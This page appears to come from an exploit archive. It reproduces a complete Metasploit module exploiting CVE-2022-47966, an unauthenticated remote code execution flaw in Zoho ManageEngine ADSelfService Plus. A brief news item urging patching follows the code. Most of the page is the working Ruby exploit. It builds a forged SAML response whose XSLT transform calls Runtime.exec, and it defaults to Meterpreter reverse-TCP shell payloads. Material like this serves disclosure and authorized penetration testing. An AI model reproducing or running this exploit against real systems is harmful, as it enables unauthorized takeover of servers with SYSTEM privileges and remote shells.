Headline
ManageEngine ADSelfService Plus Unauthenticated SAML Remote Code Execution
This Metasploit module exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine AdSelfService Plus versions 6210 and below. Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the ADSelfService Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.
# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-frameworkclass MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE', 'Description' => %q{ This exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine AdSelfService Plus versions 6210 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted `samlResponse` XML to the ADSelfService Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status. }, 'Author' => [ 'Khoa Dinh', # Original research 'horizon3ai', # PoC 'Christophe De La Fuente' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-47966'], ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'], ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'], ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'], ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis'] ], 'Platform' => ['win'], 'Payload' => { 'BadChars' => "\x27" }, 'Targets' => [ [ 'Windows EXE Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ] ], 'DefaultOptions' => { 'RPORT' => 9251, 'SSL' => true }, 'DefaultTarget' => 1, 'DisclosureDate' => '2023-01-10', 'Notes' => { 'Stability' => [CRASH_SAFE,], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Privileged' => true ) ) register_options([ OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]), OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]), OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]), OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ]) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']) ) return CheckCode::Unknown unless res return CheckCode::Safe unless res.code == 200 product = res.get_html_document.xpath('//title').first&.text unless product == 'ADSelfService Plus' return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})") end CheckCode::Detected end def encode_begin(real_payload, reqs) super reqs['EncapsulationRoutine'] = proc do |_reqs, raw| raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw end end def exploit case target['Type'] when :windows_command execute_command(payload.encoded) when :windows_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) if target['Type'] == :windows_dropper cmd = "cmd /c #{cmd}" end cmd = cmd.encode(xml: :attr).gsub('"', '') assertion_id = "_#{SecureRandom.uuid}" # Randomize variable names and make sure they are all different using a Set vars = Set.new loop do vars << Rex::Text.rand_text_alpha_lower(5..8) break unless vars.size < 3 end vars = vars.to_a saml = <<~EOS <?xml version="1.0" encoding="UTF-8"?> <samlp:Response ID="_#{SecureRandom.uuid}" InResponseTo="_#{Rex::Text.rand_text_hex(32)}" IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <Assertion ID="#{assertion_id}" IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Issuer>#{datastore['ISSUER_URL']}</Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="##{assertion_id}"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"> <xsl:stylesheet version="1.0" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/> <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/> <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/> <xsl:value-of select="$#{vars[2]}"/> </xsl:template> </xsl:stylesheet> </ds:Transform> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue> <ds:KeyInfo/> </ds:Signature> </Assertion> </samlp:Response> EOS relay_state_url = datastore['RELAY_STATE'] if relay_state_url.blank? relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth" end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']), 'vars_get' => { 'RelayState' => Rex::Text.encode_base64(relay_state_url) }, 'vars_post' => { 'SAMLResponse' => Rex::Text.encode_base64(saml) } }) unless res&.code == 200 fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})") end res endendRelated news
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The latest critical bug is exploitable in dozens of ManageEngine products and exposes systems to catastrophic risks, researchers warn.
Users of Zoho ManageEngine are being urged to patch their instances against a critical security vulnerability ahead of the release of a proof-of-concept (PoC) exploit code. The issue in question is CVE-2022-47966, an unauthenticated remote code execution vulnerability affecting several products due to the use of an outdated third-party dependency, Apache Santuario. "This vulnerability allows an
Categories: Exploits and vulnerabilities Categories: News Tags: Zoho Tags: ManageEngine Tags: PoC Tags: RCE Tags: CVE-2022-47966 Tags: CVE-2022-35405 Tags: SAML Tags: Apache Santuario Proof of Concept code is about to be released for a vulnerability in many ManageEngine products which could enable RCE with SYSTEM privileges. (Read more...) The post Update now! Proof of concept code to be released for Zoho ManageEngine vulnerability appeared first on Malwarebytes Labs.
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